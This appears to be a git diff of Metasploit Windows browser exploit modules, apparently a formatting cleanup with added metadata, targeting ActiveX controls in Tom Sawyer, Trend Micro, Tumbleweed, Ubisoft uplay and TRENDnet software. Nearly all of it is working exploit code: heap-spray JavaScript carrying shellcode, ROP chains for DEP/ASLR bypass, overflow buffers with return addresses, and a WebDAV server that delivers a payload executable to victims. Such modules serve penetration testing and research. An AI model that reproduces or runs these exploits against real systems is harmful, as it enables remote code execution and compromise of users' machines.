object name - obj_name = rand_text_alpha(rand(100) + 1) - main_sym = 'main' #main function name + obj_name = rand_text_alpha(rand(100) + 1) + main_sym = 'main' # main function name randnop = rand_text_alpha(rand(100) + 1) if my_target.name =~ /IE6/ or my_target.name =~ /IE7/ - js = <<-EOS -var sc = unescape('#{sc}'); - -var #{randnop} = "%u0c0c%u0c0c"; -var nops = unescape(#{randnop}); -var offset = 20; -var s = offset + sc.length; -while(nops.length < s) { - nops += nops; -} -var chunk1 = nops.substring(0, s); -var chunk2 = nops.substring(0, nops.length - s); -while((chunk2.length + s) < 0x50000) { - chunk2 = chunk2 + chunk2 + chunk1; -} -var blocks = new Array(); -for(var counter=0; counter<200; counter++){ - blocks[counter] = chunk2 + sc; -} + js = <<~EOS + var sc = unescape('#{sc}'); + + var #{randnop} = "%u0c0c%u0c0c"; + var nops = unescape(#{randnop}); + var offset = 20; + var s = offset + sc.length; + while(nops.length < s) { + nops += nops; + } + var chunk1 = nops.substring(0, s); + var chunk2 = nops.substring(0, nops.length - s); + while((chunk2.length + s) < 0x50000) { + chunk2 = chunk2 + chunk2 + chunk1; + } + var blocks = new Array(); + for(var counter=0; counter<200; counter++){ + blocks[counter] = chunk2 + sc; + } -function main() -{ - #{obj_name}.AddSeries(#{my_target.ret}); -} -EOS + function main() + { + #{obj_name}.AddSeries(#{my_target.ret}); + } + EOS end - #http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf + # http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf if my_target.name =~ /IE8/ # thanks to corelanc0d3r & mona.py :^) for the universal aslr/dep bypass (msvcr71.dll) # https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ rop_gadgets = [ - my_target['Pivot'],# Pivot back EAX for ESP control + my_target['Pivot'], # Pivot back EAX for ESP control 0x7C342643, # XCHG EAX,ESP; POP EDI; ; ADD BYTE PTR DS:[EAX],AL; POP ECX; RETN 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x7c37a140, # Make EAX readable @@ -232,7 +237,7 @@ def on_request_uri(cli, request) js = heaplib(custom_js) - #JS obfuscation on demand + # JS obfuscation on demand if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate(memory_sensitive: true) @@ -250,10 +255,9 @@ def on_request_uri(cli, request) EOF - print_status("Sending #{self.name}") - #Remove the extra tabs from content + # Remove the extra tabs from content content = content.gsub(/^ {4}/, '') # Transmit the response to the client diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index 5110decafa537..43d06ab817dbc 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -7,9 +7,9 @@ class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML - #include Msf::Exploit::Remote::BrowserAutopwn + # include Msf::Exploit::Remote::BrowserAutopwn # - #autopwn_info({ + # autopwn_info({ # :os_name => OperatingSystems::Match::WINDOWS, # :ua_name => HttpClients::IE, # :ua_minver => "6.0", @@ -17,111 +17,120 @@ class MetasploitModule < Msf::Exploit::Remote # :javascript => true, # :rank => NormalRanking, # :classid => "{658ED6E7-0DA1-4ADD-B2FB-095F08091118}" - #}) - - def initialize(info={}) - super(update_info(info, - 'Name' => "Tom Sawyer Software GET Extension Factory Remote Code Execution", - 'Description' => %q{ + # }) + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "Tom Sawyer Software GET Extension Factory Remote Code Execution", + 'Description' => %q{ This module exploits a remote code execution vulnerability in the tsgetx71ex553.dll - ActiveX control installed with Tom Sawyer GET Extension Factory due to an incorrect - initialization under Internet Explorer. - - While the Tom Sawyer GET Extension Factory is installed with some versions of VMware - Infrastructure Client, this module has been tested only with the versions installed - with Embarcadero Technologies ER/Studio XE2 / Embarcadero Studio Portal 1.6. The ActiveX - control tested is tsgetx71ex553.dll, version 5.5.3.238. - - This module achieves DEP and ASLR bypass using the well known msvcr71.dll rop chain. The - dll is installed by default with the Embarcadero software, and loaded by the targeted - ActiveX. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + ActiveX control installed with Tom Sawyer GET Extension Factory due to an incorrect + initialization under Internet Explorer. + + While the Tom Sawyer GET Extension Factory is installed with some versions of VMware + Infrastructure Client, this module has been tested only with the versions installed + with Embarcadero Technologies ER/Studio XE2 / Embarcadero Studio Portal 1.6. The ActiveX + control tested is tsgetx71ex553.dll, version 5.5.3.238. + + This module achieves DEP and ASLR bypass using the well known msvcr71.dll rop chain. The + dll is installed by default with the Embarcadero software, and loaded by the targeted + ActiveX. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Elazar Broad', # Vulnerability discovery 'rgod', # PoC 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2011-2217' ], [ 'OSVDB', '73211' ], [ 'BID', '48099' ], [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=911' ] ], - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", - 'DisableNops' => true + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", + 'DisableNops' => true }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # Embarcadero Technologies ER/Studio XE2 # tsgetx71ex553.dll 5.5.3.238 [ 'Automatic', {} ], - [ 'IE 6 on Windows XP SP3', + [ + 'IE 6 on Windows XP SP3', { - 'Rop' => nil, + 'Rop' => nil, 'Offset' => '0x00' } ], - [ 'IE 7 on Windows XP SP3', + [ + 'IE 7 on Windows XP SP3', { - 'Rop' => nil, + 'Rop' => nil, 'Offset' => '0x800 - code.length' } ], - [ 'IE 8 on Windows XP SP3', + [ + 'IE 8 on Windows XP SP3', { - 'Rop' => true, + 'Rop' => true, 'Offset' => '0x0', 'RopChainOffset' => '0x73e' } ], - [ 'IE 8 on Windows 7 SP1', + [ + 'IE 8 on Windows 7 SP1', { - 'Rop' => true, + 'Rop' => true, 'Offset' => '0x0', 'RopChainOffset' => '0x73e' } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2011-05-03', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2011-05-03', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ]) + ] + ) end def get_target(agent) - #If the user is already specified by the user, we'll just use that + # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ - return targets[1] #IE 6 on Windows XP SP3 + return targets[1] # IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ - return targets[2] #IE 7 on Windows XP SP3 + return targets[2] # IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ - return targets[3] #IE 8 on Windows XP SP3 + return targets[3] # IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/ - return targets[4] #IE 8 on Windows 7 SP1 + return targets[4] # IE 8 on Windows 7 SP1 else return nil end end - def junk(n=4) + def junk(n = 4) return rand_text_alpha(n).unpack("V").first end @@ -130,42 +139,41 @@ def nop end def get_rop_chain(t) - adjust = - [ - junk, # heap sprayed to 342d1ea0 - 0x7c1ce310, # stackpivot # push ecx # pop esp # pop edi # pop esi # retn 18 # mfc71.DLL - 0x7c347f98, # RETN (ROP NOP) # msvcr71.dll - junk, - junk, - junk, - junk, - junk, - junk - ].pack("V*") + [ + junk, # heap sprayed to 342d1ea0 + 0x7c1ce310, # stackpivot # push ecx # pop esp # pop edi # pop esi # retn 18 # mfc71.DLL + 0x7c347f98, # RETN (ROP NOP) # msvcr71.dll + junk, + junk, + junk, + junk, + junk, + junk + ].pack("V*") # chain generated by mona.py - See corelan.be rop = - [ - 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN - 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) - 0x7c347f98, # RETN (ROP NOP) - 0x7c3415a2, # JMP [EAX] - 0xffffffff, - 0x7c376402, # skip 4 bytes - 0x7c351e05, # NEG EAX # RETN - 0x7c345255, # INC EBX # FPATAN # RETN - 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN - 0x7c344f87, # POP EDX # RETN - 0xffffffc0, # Value to negate, will become 0x00000040 - 0x7c351eb1, # NEG EDX # RETN - 0x7c34d201, # POP ECX # RETN - 0x7c38b001, # &Writable location - 0x7c347f97, # POP EAX # RETN - 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] - 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN - 0x7c345c30, # ptr to 'push esp # ret ' - ].pack("V*") + [ + 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN + 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) + 0x7c347f98, # RETN (ROP NOP) + 0x7c3415a2, # JMP [EAX] + 0xffffffff, + 0x7c376402, # skip 4 bytes + 0x7c351e05, # NEG EAX # RETN + 0x7c345255, # INC EBX # FPATAN # RETN + 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN + 0x7c344f87, # POP EDX # RETN + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x7c351eb1, # NEG EDX # RETN + 0x7c34d201, # POP ECX # RETN + 0x7c38b001, # &Writable location + 0x7c347f97, # POP EAX # RETN + 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] + 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN + 0x7c345c30, # ptr to 'push esp # ret ' + ].pack("V*") code = adjust code << rop @@ -173,7 +181,6 @@ def get_rop_chain(t) return code end - def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) @@ -189,7 +196,7 @@ def on_request_uri(cli, request) p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) + js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(my_target.arch)) js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) randnop = rand_text_alpha(rand(100) + 1) randnop2 = rand_text_alpha(rand(100) + 1) @@ -231,9 +238,9 @@ def on_request_uri(cli, request) JS - js = heaplib(js, {:noobfu => true}) + js = heaplib(js, { :noobfu => true }) - #obfuscate on demand + # obfuscate on demand if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate(memory_sensitive: true) @@ -256,8 +263,7 @@ def on_request_uri(cli, request) html = html.gsub(/^ {4}/, '') print_status("Sending html") - send_response(cli, html, {'Content-Type'=>'text/html'}) - + send_response(cli, html, { 'Content-Type' => 'text/html' }) end end diff --git a/modules/exploits/windows/browser/trendmicro_extsetowner.rb b/modules/exploits/windows/browser/trendmicro_extsetowner.rb index a7f7cdf7c73d3..239f13dc7a662 100644 --- a/modules/exploits/windows/browser/trendmicro_extsetowner.rb +++ b/modules/exploits/windows/browser/trendmicro_extsetowner.rb @@ -37,39 +37,44 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution', + 'Description' => %q{ This module exploits a remote code execution vulnerability in Trend Micro - Internet Security Pro 2010 ActiveX. - When sending an invalid pointer to the extSetOwner() function of UfPBCtrl.dll - an attacker may be able to execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Trancer ' ], - 'References' => - [ + Internet Security Pro 2010 ActiveX. + When sending an invalid pointer to the extSetOwner() function of UfPBCtrl.dll + an attacker may be able to execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Trancer ' ], + 'References' => [ [ 'CVE', '2010-3189' ], [ 'OSVDB', '67561'], [ 'ZDI', '10-165' ], # Andrea Micalizzi aka rgod via Zero Day Initiative [ 'EDB', '14878' ], # MOAUB #03 ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x00C750A1 } ] #?? + 'Platform' => 'win', + 'Targets' => [ + [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x00C750A1 } ] # ?? ], - 'DisclosureDate' => '2010-08-25', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2010-08-25', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -88,26 +93,26 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers - nops = Rex::Text.to_unescape(make_nops(4)) - ret = Rex::Text.to_unescape([target.ret].pack('V')) + nops = Rex::Text.to_unescape(make_nops(4)) + ret = Rex::Text.to_unescape([target.ret].pack('V')) blocksize = 0x40000 - fillto = 500 + fillto = 500 # ActiveX parameters - clsid = "15DBC3F9-9F0A-472E-8061-043D9CEC52F0" + clsid = "15DBC3F9-9F0A-472E-8061-043D9CEC52F0" # Randomize the javascript variable names - ufpbctrl = rand_text_alpha(rand(100) + 1) - j_shellcode = rand_text_alpha(rand(100) + 1) - j_nops = rand_text_alpha(rand(100) + 1) - j_ret = rand_text_alpha(rand(100) + 1) + ufpbctrl = rand_text_alpha(rand(100) + 1) + j_shellcode = rand_text_alpha(rand(100) + 1) + j_nops = rand_text_alpha(rand(100) + 1) + j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) - j_fillblock = rand_text_alpha(rand(100) + 1) - j_block = rand_text_alpha(rand(100) + 1) - j_memory = rand_text_alpha(rand(100) + 1) - j_counter = rand_text_alpha(rand(30) + 2) - randnop = rand_text_alpha(rand(100) + 1) + j_fillblock = rand_text_alpha(rand(100) + 1) + j_block = rand_text_alpha(rand(100) + 1) + j_memory = rand_text_alpha(rand(100) + 1) + j_counter = rand_text_alpha(rand(30) + 2) + randnop = rand_text_alpha(rand(100) + 1) html = %Q| diff --git a/modules/exploits/windows/browser/trendmicro_officescan.rb b/modules/exploits/windows/browser/trendmicro_officescan.rb index 10d2e7d90c77a..83712c60297f9 100644 --- a/modules/exploits/windows/browser/trendmicro_officescan.rb +++ b/modules/exploits/windows/browser/trendmicro_officescan.rb @@ -9,47 +9,52 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Trend Micro OfficeScan Client ActiveX Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Trend Micro OfficeScan Client ActiveX Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in Trend Micro OfficeScan - Corporate Edition 7.3. By sending an overly long string to the - "CgiOnUpdate()" method located in the OfficeScanSetupINI.dll Control, - an attacker may be able to execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + Corporate Edition 7.3. By sending an overly long string to the + "CgiOnUpdate()" method located in the OfficeScanSetupINI.dll Control, + an attacker may be able to execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2007-0325' ], [ 'OSVDB', '33040' ], [ 'BID', '22585' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 800, - 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 800, + 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows XP SP2 Pro English', { 'Ret' => 0x7cc58fd8 } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Windows XP SP2 Pro English', { 'Ret' => 0x7cc58fd8 } ], ], - 'DisclosureDate' => '2007-02-12', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2007-02-12', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter - false + false end def check_dependencies - use_zlib + use_zlib end def on_request_uri(cli, request) @@ -61,7 +66,7 @@ def on_request_uri(cli, request) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer - sploit = rand_text_alpha(2149) + [target.ret].pack('V') + p.encoded + sploit = rand_text_alpha(2149) + [target.ret].pack('V') + p.encoded # Build out the message content = %Q| diff --git a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb index c43a2c9054a45..abce387907243 100644 --- a/modules/exploits/windows/browser/tumbleweed_filetransfer.rb +++ b/modules/exploits/windows/browser/tumbleweed_filetransfer.rb @@ -10,42 +10,47 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Seh def initialize(info = {}) - super(update_info(info, - 'Name' => 'Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in the vcst_eu.dll - FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed - SecureTransport suite. By sending an overly long string to the - TransferFile() 'remotefile' function, an attacker may be able - to execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => 'aushack', - 'References' => - [ + FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed + SecureTransport suite. By sending an overly long string to the + TransferFile() 'remotefile' function, an attacker may be able + to execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => 'aushack', + 'References' => [ [ 'CVE', '2008-1724' ], [ 'OSVDB', '44252' ], [ 'URL', 'http://www.aushack.com/200708-tumbleweed.txt' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1000, + 'Payload' => { + 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0<>()\"\\", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # Patrick - tested successfully against W2KSP0 EN, W2KSP4 EN, XPSP0 EN, 2007/08/17. - [ 'Universal vcst_eu.dll', { 'Ret' => 0x1001ee75 } ], - [ 'Windows 2000 Pro English', { 'Ret' => 0x75022ac4 } ], + [ 'Universal vcst_eu.dll', { 'Ret' => 0x1001ee75 } ], + [ 'Windows 2000 Pro English', { 'Ret' => 0x75022ac4 } ], [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], ], - 'DisclosureDate' => '2008-04-07', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2008-04-07', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def on_request_uri(cli, request) @@ -53,11 +58,11 @@ def on_request_uri(cli, request) return if ((p = regenerate_payload(cli)) == nil) # Randomize some things - vname = rand_text_alpha(rand(100) + 1) - vurl = rand_text_alpha(rand(100) + 1) + vname = rand_text_alpha(rand(100) + 1) + vurl = rand_text_alpha(rand(100) + 1) vhostName = rand_text_alpha(rand(100) + 1) - vlocalFile = rand_text_alpha(rand(100) + 1) - vMD5 = rand_text_alpha(rand(100) + 1) + vlocalFile = rand_text_alpha(rand(100) + 1) + vMD5 = rand_text_alpha(rand(100) + 1) # Build the exploit buffer filler = rand_text_alpha(4620) diff --git a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb index 81f995113bd6e..ae7b49455e9b2 100644 --- a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb +++ b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb @@ -10,44 +10,51 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Ubisoft uplay 2.0.3 ActiveX Control Arbitrary Code Execution', - 'Description' => %q{ - The uplay ActiveX component allows an attacker to execute any command line action. - User must sign in, unless auto-sign in is enabled and uplay must not already be - running. Due to the way the malicious executable is served (WebDAV), the module - must be run on port 80, so please make sure you have enough privilege to do that. - Ubisoft released patch 2.04 as of Mon 20th July. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Ubisoft uplay 2.0.3 ActiveX Control Arbitrary Code Execution', + 'Description' => %q{ + The uplay ActiveX component allows an attacker to execute any command line action. + User must sign in, unless auto-sign in is enabled and uplay must not already be + running. Due to the way the malicious executable is served (WebDAV), the module + must be run on port 80, so please make sure you have enough privilege to do that. + Ubisoft released patch 2.04 as of Mon 20th July. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Tavis Ormandy ', # Initial discovery 'Ben Campbell', 'phillips321 ', 'Richard Hicks ' ], - 'References' => - [ + 'References' => [ [ 'CVE', '2012-4177' ], [ 'OSVDB', '84402'], [ 'URL', 'https://seclists.org/fulldisclosure/2012/Jul/375'], [ 'URL', 'http://forums.ubi.com/showthread.php/699940-Uplay-PC-Patch-2-0-4-Security-fix' ] ], - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ] + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {} ] ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2012-07-29')) + 'DefaultTarget' => 0, + 'DisclosureDate' => '2012-07-29', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( - [ - OptPort.new('SRVPORT', [true, "The daemon port to listen on (do not change)", 80]), - OptString.new('URIPATH', [true, "The URI to use (do not change).", "/"]), - OptString.new('EXPLOITPATH', [false, "The URI to use for the exploit"]) - ]) + [ + OptPort.new('SRVPORT', [true, "The daemon port to listen on (do not change)", 80]), + OptString.new('URIPATH', [true, "The URI to use (do not change).", "/"]), + OptString.new('EXPLOITPATH', [false, "The URI to use for the exploit"]) + ] + ) # WebDAV does not support SSL and must run over port 80. deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT' 'URIPATH') @@ -96,14 +103,14 @@ def on_request_uri(cli, request) end def prompt_uplay(cli, request) - url = "http://" + url = "http://" url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" path = "#{@exploit_unc}#{@share_name}\\#{@basename}.exe" if path.length > 693 - fail_with(Failure::Unknown,"Remote path is too long must be < 694 characters") + fail_with(Failure::Unknown, "Remote path is too long must be < 694 characters") return end @@ -142,13 +149,14 @@ def process_get(cli, request) if (request.uri.include? @basename) print_status("GET => Payload") return if ((p = regenerate_payload(cli)) == nil) + data = generate_payload_exe({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end # Treat index.html specially - if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i) + if (request.uri[-1, 1] == "/" or request.uri =~ /index\.html?$/i) vprint_status("GET => REDIRECT (#{request.uri})") resp = create_response(200, "OK") @@ -172,14 +180,14 @@ def process_options(cli, request) vprint_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', - 'DASL' => '', - 'DAV' => '1, 2', - 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', - 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', + 'DASL' => '', + 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', + 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") - headers.each_pair {|k,v| resp[k] = v } + headers.each_pair { |k, v| resp[k] = v } resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) @@ -193,8 +201,8 @@ def process_propfind(cli, request) vprint_status("PROPFIND #{path}") body = '' - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - my_uri = "http://#{my_host}/" + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + my_uri = "http://#{my_host}/" if path !~ /\/$/ @@ -216,7 +224,7 @@ def process_propfind(cli, request) #{gen_datestamp} -#{rand(0x100000)+128000} +#{rand(0x100000) + 128000} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" T @@ -309,7 +317,7 @@ def process_propfind(cli, request) def generate_shares(path) share_name = @share_name -%Q| + %Q| #{path}#{share_name}/ @@ -341,8 +349,8 @@ def generate_files(path) trail = path.split("/") return "" if trail.length < 2 - base = @basename - exts = @extensions.gsub(",", " ").split(/\s+/) + base = @basename + exts = @extensions.gsub(",", " ").split(/\s+/) files = "" exts.each do |ext| files << %Q| @@ -352,7 +360,7 @@ def generate_files(path) #{gen_datestamp} -#{rand(0x10000)+120} +#{rand(0x10000) + 120} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" T @@ -379,11 +387,11 @@ def generate_files(path) files end - def gen_timestamp(ttype=nil) + def gen_timestamp(ttype = nil) ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") end - def gen_datestamp(ttype=nil) + def gen_datestamp(ttype = nil) ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") end @@ -414,7 +422,7 @@ def exploit myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] - @exploit_unc = "\\\\#{myhost}\\" + @exploit_unc = "\\\\#{myhost}\\" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') diff --git a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb index 17ebc579b15f8..7c98d1e63fa0b 100644 --- a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb +++ b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb @@ -8,62 +8,66 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML - def initialize(info={}) - super(update_info(info, - 'Name' => "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow", - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow", + 'Description' => %q{ This module exploits a vulnerability found in TRENDnet SecurView Internet - Camera's ActiveX control. By supplying a long string of data as the sFilter - argument of the OpenFileDlg() function, it is possible to trigger a buffer - overflow condition due to WideCharToMultiByte (which converts unicode back to) - overwriting the stack more than it should, which results arbitrary code execution - under the context of the user. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'rgod', #Original discovery, PoC - 'sinn3r' #Metasploit + Camera's ActiveX control. By supplying a long string of data as the sFilter + argument of the OpenFileDlg() function, it is possible to trigger a buffer + overflow condition due to WideCharToMultiByte (which converts unicode back to) + overwriting the stack more than it should, which results arbitrary code execution + under the context of the user. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'rgod', # Original discovery, PoC + 'sinn3r' # Metasploit ], - 'References' => - [ + 'References' => [ [ 'CVE', '2012-4876' ], [ 'OSVDB', '80661' ], [ 'EDB', '18675' ] ], - 'Payload' => - { - 'BadChars' => 